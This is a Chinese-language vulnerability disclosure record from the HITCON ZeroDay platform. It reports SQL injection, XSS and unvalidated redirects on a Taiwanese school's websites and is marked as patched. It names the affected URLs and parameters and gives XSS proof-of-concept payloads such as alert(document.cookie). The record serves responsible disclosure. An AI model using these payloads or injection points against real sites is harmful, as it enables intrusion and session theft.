Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00064
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 明道中學 網站存在 SQL injection 與 XSS 與未驗證的轉址
- Introduction: 網站存在 SQL injection 與 XSS 與未驗證的轉址
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2022/01/24 06:17:17 : 新提交 (由 BTtea 更新此狀態)
- 2022/02/16 23:16:21 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/18 16:19:28 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/18 16:19:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/18 16:19:28 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/10 11:22:00 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/18 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00064
- 通報者:blacktea_player (BTtea)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
http://www.mingdao.edu.tw/md/200310/Photo/show_photo.php?photos_id=8274
http://www.mingdao.edu.tw/md/200310/CLIP/CLIP_List.php?kind=CLIP_List&nextpage=2&offset=15&limit=15
http://www.mingdao.edu.tw/md/200310/site/site_list.php?kind=4
http://s2.mingdao.edu.tw/ORDER/?ifPg=https://15.rs/
http://s2.mingdao.edu.tw/AACourses/EN/?srcURL=zeroday.hitcon.org
敘述
http://www.mingdao.edu.tw/md/200310/Photo/Photo_List.php
右上搜尋欄位存在 XSS
xss payload : "><script>alert(document.cookie)</script>
http://www.mingdao.edu.tw/md/200310/Photo/show_photo.php?photos_id=8274
photos_id 值存在 SQL injection
http://www.mingdao.edu.tw/md/200310/CLIP/CLIP_List.php?kind=CLIP_List&nextpage=2&offset=15&limit=15
nextpage , limit 值存在 XSS
nextpage xss payload : "><script>alert(document.cookie)</script>
limit xss payload : '><script>alert(document.cookie)</script>
http://www.mingdao.edu.tw/md/200310/site/site_list.php?kind=4
kind 值存在 XSS 與 SQL injection
XSS payload : "><script>alert(document.cookie)</script>
http://s2.mingdao.edu.tw/ORDER/?ifPg=https://15.rs/
ifPg 值可造成 XSS 與嵌入外部連結
xss payload : javascript:alert(document.cookie)
http://s2.mingdao.edu.tw/AACourses/EN/?srcURL=zeroday.hitcon.org
srcURL 值存在未驗證的轉址